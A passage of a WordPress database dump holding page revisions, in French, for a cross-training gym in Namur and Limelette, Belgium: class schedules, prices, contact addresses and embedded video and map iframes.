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(476, 1, '2015-04-21 09:06:14', '2015-04-21 09:06:14', '&lt;h1&gt;Retrouvez ici les vidéos illustrant le déroulements des séances&lt;/h1&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nPrésentation du Cross Training Namur\r\n\r\n&lt;iframe src=\&quot;//www.youtube.com/embed/z_jNG_jQ8gU\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;/div&gt;&lt;/td&gt;\r\n\r\n&lt;/tr&gt;\r\n&lt;/table&gt;', 'En images', '', 'inherit', 'open', 'open', '', '369-revision-v1', '', '', '2015-04-21 09:06:14', '2015-04-21 09:06:14', '', 369, 'http://www.crosstrainingcenter.be/369-revision-v1/', 0, 'revision', '', 0),
(370, 1, '2013-11-04 17:25:41', '2013-11-04 17:25:41', '&lt;h1&gt;Retrouvez ici les vidéos illustrant le déroulements des séances&lt;/h1&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nPrésentation du Cross Training Namur\r\n\r\n&lt;iframe src=\&quot;//www.youtube.com/embed/z_jNG_jQ8gU\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nOuverture du Cross Training Limelette\r\n\r\n&lt;iframe src=\&quot;//www.youtube.com/embed/6tWEAsQ_ePQ\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;', 'En images', '', 'inherit', 'open', 'open', '', '369-revision-v1', '', '', '2013-11-04 17:25:41', '2013-11-04 17:25:41', '', 369, 'http://www.crosstrainingcenter.be/369-revision-v1/', 0, 'revision', '', 0),
(371, 1, '2013-11-04 17:26:03', '2013-11-04 17:26:03', ' ', '', '', 'publish', 'open', 'open', '', '371', '', '', '2015-04-21 08:50:04', '2015-04-21 08:50:04', '', 0, 'http://www.crosstrainingcenter.be/?p=371', 5, 'nav_menu_item', '', 0),
(372, 1, '2013-11-04 17:27:40', '2013-11-04 17:27:40', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Limelette&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?f=q&amp;amp;source=s_q&amp;amp;hl=fr&amp;amp;geocode=&amp;amp;q=Avenue+L%C3%A9on+Fournet,+20+-+Limelette+1342&amp;amp;aq=&amp;amp;sll=50.484709,4.855099&amp;amp;sspn=0.050462,0.077162&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Avenue+L%C3%A9on+Fournet+20,+1342+Ottignies-Louvain-la-Neuve,+Brabant+Wallon,+R%C3%A9gion+wallonne&amp;amp;t=m&amp;amp;ll=50.676229,4.582672&amp;amp;spn=0.032635,0.051498&amp;amp;z=13&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Club Justine Henin\r\nAvenue Léon Fournet, 20\r\n1342 Limelette&lt;/address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Namur&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+Namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.472583,4.860764&amp;amp;spn=0.065552,0.102997&amp;amp;z=12&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Bowling et Squash de Namur\r\nChaussée de Perwez, 251\r\n5002 Namur&lt;/address&gt;&lt;address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/address&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de\r\nTeam Training, Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;&lt;/h1&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-11-04 17:27:40', '2013-11-04 17:27:40', '', 9, 'http://www.crosstrainingcenter.be/9-revision-v1/', 0, 'revision', '', 0),
(373, 1, '2013-11-04 17:37:10', '2013-11-04 17:37:10', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Choix d\'une salle&lt;/h1&gt;\r\n&lt;img class=\&quot;size-full wp-image-446 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map.png\&quot; usemap=\&quot;#imagemap\&quot; width=\&quot;300\&quot; height=\&quot;236\&quot; /&gt;\r\n\r\n&lt;map id=\&quot;Map\&quot; name=\&quot;imagemap\&quot;&gt; &lt;area coords=\&quot;90,84,166,108\&quot; shape=\&quot;namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;\&quot; /&gt; &lt;area coords=\&quot;174,121,233,132\&quot; shape=\&quot;limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot; /&gt; &lt;/map&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-11-04 17:37:10', '2013-11-04 17:37:10', '', 11, 'http://www.crosstrainingcenter.be/11-revision-v1/', 0, 'revision', '', 0),
(374, 1, '2013-11-04 17:37:32', '2013-11-04 17:37:32', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Choix d\'une salle&lt;/h1&gt;\r\n&lt;img class=\&quot;size-full wp-image-446 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/map.png\&quot; usemap=\&quot;#imagemap\&quot; width=\&quot;300\&quot; height=\&quot;236\&quot; /&gt;\r\n\r\n&lt;map id=\&quot;Map\&quot; name=\&quot;imagemap\&quot;&gt; &lt;area coords=\&quot;90,84,166,108\&quot; shape=\&quot;namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;\&quot; /&gt; &lt;area coords=\&quot;174,121,233,132\&quot; shape=\&quot;limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot; /&gt; &lt;/map&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-11-04 17:37:32', '2013-11-04 17:37:32', '', 11, 'http://www.crosstrainingcenter.be/11-revision-v1/', 0, 'revision', '', 0),
(375, 1, '2013-11-04 17:38:19', '2013-11-04 17:38:19', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Choix d\'une salle&lt;/h1&gt;\r\n&lt;img class=\&quot;size-full wp-image-446 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www.crosstrainingcenter.be/map.png\&quot; usemap=\&quot;#imagemap\&quot; width=\&quot;300\&quot; height=\&quot;236\&quot; /&gt;\r\n\r\n&lt;map id=\&quot;Map\&quot; name=\&quot;imagemap\&quot;&gt; &lt;area coords=\&quot;90,84,166,108\&quot; shape=\&quot;namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;\&quot; /&gt; &lt;area coords=\&quot;174,121,233,132\&quot; shape=\&quot;limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot; /&gt; &lt;/map&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-11-04 17:38:19', '2013-11-04 17:38:19', '', 11, 'http://www.crosstrainingcenter.be/11-revision-v1/', 0, 'revision', '', 0),
(376, 1, '2013-11-04 17:38:55', '2013-11-04 17:38:55', '&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Prix', '', 'inherit', 'open', 'open', '', '214-revision-v1', '', '', '2013-11-04 17:38:55', '2013-11-04 17:38:55', '', 214, 'http://www.crosstrainingcenter.be/214-revision-v1/', 0, 'revision', '', 0),
(377, 1, '2013-11-04 17:38:55', '2013-11-04 17:38:55', '&lt;blockquote&gt;\r\n&lt;h1&gt;Envie de vous essayer au cross training?&lt;/h1&gt;\r\n&lt;/blockquote&gt;\r\nVenez nous rencontrer afin de découvrir le déroulement d\'une séance de cross training.\r\n\r\nLaissez-nous vos coordonnées et nous vous recontacterons afin de planifier avec vous votre première séance gratuite.\r\n\r\n[contact-form-7 id=\&quot;265\&quot; title=\&quot;Seance_gratuite\&quot;]', 'Séance gratuite', '', 'inherit', 'open', 'open', '', '266-revision-v1', '', '', '2013-11-04 17:38:55', '2013-11-04 17:38:55', '', 266, 'http://www.crosstrainingcenter.be/266-revision-v1/', 0, 'revision', '', 0),
(378, 1, '2013-11-04 17:39:40', '2013-11-04 17:39:40', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2013-11-04 17:39:40', '2013-11-04 17:39:40', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(379, 1, '2013-11-04 17:41:06', '2013-11-04 17:41:06', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td 